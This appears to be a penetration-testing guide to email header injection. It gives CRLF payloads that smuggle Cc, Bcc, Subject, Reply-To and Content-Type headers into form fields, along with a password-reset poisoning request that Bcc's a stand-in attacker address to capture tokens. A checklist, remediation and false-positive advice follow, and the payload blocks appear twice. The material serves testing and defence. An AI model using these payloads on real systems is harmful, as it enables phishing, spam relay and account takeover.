Exploitation A03

Email Header Injection

Email header injection occurs when user input is included in email headers (To, CC, BCC, Subject) without sanitization. Attackers inject CRLF sequences to add extra headers, turning the application into a spam relay or phishing platform. This commonly affects contact forms, password reset functions, and "share via email" features.

Basic Email Header Injection

bash
# Vulnerable code: user input goes into email headers
# PHP: mail($to, $subject, $message, "From: " . $_POST['email']);

# Inject CC/BCC recipients:
email=test@example.com%0aCc:victim1@target.com%0aBcc:victim2@target.com

# URL-encoded CRLF variants:
%0d%0a    # \r\n (CRLF)
%0a       # \n (LF only — works on many MTAs)
%0d       # \r (CR only)
%0A%0D    # Reversed

# Inject via contact form "From" field:
Name: Attacker
Email: attacker@test.com%0aBcc:spam-list@evil.com
Message: Test

# The resulting email headers become:
# From: attacker@test.com
# Bcc: spam-list@evil.com
# Subject: Contact Form Submission
# Vulnerable code: user input goes into email headers
# PHP: mail($to, $subject, $message, "From: " . $_POST['email']);

# Inject CC/BCC recipients:
email=test@example.com%0aCc:victim1@target.com%0aBcc:victim2@target.com

# URL-encoded CRLF variants:
%0d%0a    # \r\n (CRLF)
%0a       # \n (LF only — works on many MTAs)
%0d       # \r (CR only)
%0A%0D    # Reversed

# Inject via contact form "From" field:
Name: Attacker
Email: attacker@test.com%0aBcc:spam-list@evil.com
Message: Test

# The resulting email headers become:
# From: attacker@test.com
# Bcc: spam-list@evil.com
# Subject: Contact Form Submission

Advanced Attacks

bash
# Inject arbitrary email body content:
email=test@example.com%0aContent-Type:text/html%0a%0a<h1>Phishing Content</h1>

# Override the Subject header:
email=test@example.com%0aSubject:URGENT - Password Reset Required

# Inject Reply-To for phishing:
email=test@example.com%0aReply-To:attacker@evil.com

# Multiple recipient injection (spam relay):
email=test@example.com%0aBcc:user1@target.com%0aBcc:user2@target.com%0aBcc:user3@target.com

# Password reset poisoning:
# If the app sends password reset emails with user-controlled content:
POST /forgot-password
email=victim@target.com%0aBcc:attacker@evil.com
# Attacker receives a copy of the reset email with the token!
# Inject arbitrary email body content:
email=test@example.com%0aContent-Type:text/html%0a%0a<h1>Phishing Content</h1>

# Override the Subject header:
email=test@example.com%0aSubject:URGENT - Password Reset Required

# Inject Reply-To for phishing:
email=test@example.com%0aReply-To:attacker@evil.com

# Multiple recipient injection (spam relay):
email=test@example.com%0aBcc:user1@target.com%0aBcc:user2@target.com%0aBcc:user3@target.com

# Password reset poisoning:
# If the app sends password reset emails with user-controlled content:
POST /forgot-password
email=victim@target.com%0aBcc:attacker@evil.com
# Attacker receives a copy of the reset email with the token!

Testing Checklist

  1. 1. Identify all email-sending features (contact forms, sharing, invitations, password reset)
  2. 2. Test CRLF injection in email fields (%0a, %0d%0a appended to input)
  3. 3. Try injecting Cc: and Bcc: headers to send to attacker-controlled email
  4. 4. Test Subject header injection
  5. 5. Test Content-Type injection to alter the email body
  6. 6. Check if the application validates email format server-side

Evidence Collection

Request: HTTP request with CRLF-injected email parameter

Email Headers: Received email showing injected headers (Cc/Bcc)

CVSS Range: Spam relay: 5.3–6.5 | Phishing: 6.5–7.5 | Token theft: 7.5–8.6

Remediation

  • Strip CRLF characters: Remove \\r and \\n from all user input used in email headers.
  • Use email libraries: Use libraries like PHPMailer, Nodemailer, or Python's email module instead of raw header construction.
  • Validate email format: Validate email addresses server-side with strict regex.
  • Rate limit: Rate limit email-sending functionality to prevent abuse as spam relay.

False Positive Identification

  • CRLF stripped at the library level: Many mail libraries sanitize header injections — confirm the injected headers actually appear in the received email, not just accepted in the form.
  • Bcc without sensitive content: Adding a Bcc recipient is only impactful if the email contains sensitive data (password resets, PII, tokens) — assess the email content in your severity rating.
  • SPF/DKIM blocking spoofed From: Email infrastructure may reject the modified From header — check if the email actually delivers.